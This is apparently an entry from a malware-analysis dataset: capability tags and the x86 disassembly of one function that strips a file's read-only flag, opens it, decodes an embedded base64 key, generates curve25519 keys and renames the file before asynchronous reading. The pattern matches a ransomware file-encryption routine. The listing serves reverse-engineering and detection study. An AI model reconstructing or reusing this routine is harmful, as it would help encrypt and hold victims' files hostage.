Function at 0x4057c0
Capabilities:
Decode data using base64 via winapi
Encrypt data using curve25519
Generate random numbers via winapi
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
mov ebx, ecx
push edi
push ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, ebx
call fcn.004056a0
test al, al
jne 0x405816
cmp dword [0x424270], 0
je 0x405b78
mov ecx, ebx
call fcn.00405250
test eax, eax
jne 0x405b78
push 0
push 0x40000080
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x34], ebx
cmp ebx, 0xffffffff
je 0x405b78
lea eax, [esp + 0x60]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [esp + 0x60]
or ecx, dword [esp + 0x64]
jne 0x40586d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040826b
mov esp, ebp
pop ebp
ret
push 0x100
call fcn.0040c27e
add esp, 4
mov dword [esp + 0x20], eax
push 0x100
push 0
push eax
call fcn.004092a0
add esp, 0xc
mov byte [esp + 0x3c], 9
xorps xmm0, xmm0
mov dword [esp + 0x55], 0
movups xmmword [esp + 0x3d], xmm0
mov word [esp + 0x59], 0
push str.RZaQTRiVIIt_pEKYrMYeRcUIglKG9pdRzJSqYK3ljU
movq qword [esp + 0x51], xmm0
mov byte [esp + 0x5f], 0
mov dword [esp + 0x60], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edi, eax
push 0
push 0
lea eax, [esp + 0x64]
push eax
push 0
push 1
push edi
push str.RZaQTRiVIIt_pEKYrMYeRcUIglKG9pdRzJSqYK3ljU
call esi
push dword [esp + 0x5c]
call fcn.0040c27e
add esp, 4
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x5c]
push 0
push 0
push ecx
push eax
push 1
push edi
push str.RZaQTRiVIIt_pEKYrMYeRcUIglKG9pdRzJSqYK3ljU
call esi
push 0x20
call fcn.0040c27e
add esp, 4
mov dword [esp + 0x10], eax
push 0x20
call fcn.0040c27e
add esp, 4
mov ebx, eax
mov dword [esp + 0x38], ebx
push 0x20
call fcn.0040c27e
add esp, 4
mov dword [esp + 0x14], eax
push 0x40
call fcn.0040c27e
add esp, 4
mov dword [esp + 0x1c], eax
push 0x10
call fcn.0040c27e
add esp, 4
mov edi, eax
mov dword [esp + 0x2c], edi
push 0x10
call fcn.0040c27e
mov esi, eax
xorps xmm0, xmm0
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x30], esi
movups xmmword [eax], xmm0
push 0x40
movups xmmword [eax + 0x10], xmm0
mov eax, dword [esp + 0x18]
movups xmmword [ebx], xmm0
push 0
movups xmmword [ebx + 0x10], xmm0
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
push dword [esp + 0x24]
call fcn.004092a0
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [esi], xmm0
push dword [esp + 0x10]
push 0x20
push dword [0x424274]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, dword [esp + 0x10]
mov edx, ecx
mov al, byte [ecx + 0x1f]
and byte [ecx], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ecx + 0x1f], al
lea eax, [esp + 0x3c]
push eax
mov ecx, ebx
call fcn.004046f0
mov edx, dword [esp + 0x14]
add esp, 4
mov ecx, dword [esp + 0x14]
push dword [esp + 0x28]
call fcn.004046f0
mov ebx, dword [esp + 0x20]
add esp, 4
mov ecx, dword [esp + 0x14]
push ebx
call fcn.00407d40
movups xmm0, xmmword [ebx]
add esp, 4
movups xmmword [edi], xmm0
mov edi, dword [esp + 0x18]
movups xmm0, xmmword [ebx + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push edi
movups xmmword [esi], xmm0
call ebx
push 0x4211f4
lea esi, [eax + 1]
call ebx
xor ecx, ecx
add eax, esi
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.0040c289
add esp, 8
mov esi, eax
mov dword [esp + 0x24], esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call edi
push 0x41f9d8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x4211f4
push dword [esp + 0x28]
call esi
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x2c]
lea ecx, [esi + 0x3c]
call section..text
mov eax, dword [esp + 0x30]
push 0xf4240
movups xmm0, xmmword [eax]
mov eax, dword [esp + 0x38]
movups xmmword [esi + 0xec], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], eax
call fcn.0040c27e
add esp, 4
push 2
push dword [esp + 0x1c]
mov dword [esi + 0x34], eax
call ebx
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.0040c289
add esp, 8
mov dword [esi + 0x18], eax
push dword [esp + 0x18]
push eax
call edi
mov eax, dword [esp + 0x24]
push dword [esp + 0x28]
mov dword [esi + 0x1c], eax
mov eax, dword [esp + 0x64]
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0x68]
mov dword [esi + 0x24], eax
mov eax, dword [esp + 0x3c]
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], eax
mov dword [esi + 0x38], 1
call fcn.0040c279
add esp, 4
push dword [esp + 0x10]
call fcn.0040c279
add esp, 4
push dword [esp + 0x14]
call fcn.0040c279
add esp, 4
push dword [esp + 0x1c]
call fcn.0040c279
add esp, 4
push dword [esp + 0x2c]
call fcn.0040c279
add esp, 4
push dword [esp + 0x30]
call fcn.0040c279
mov eax, dword [esp + 0x38]
add esp, 4
push 0
push eax
push dword [0x4241d4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push esi
push 0
push 0xf4240
push dword [esi + 0x34]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x4241c8
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040826b
mov esp, ebp
pop ebp
ret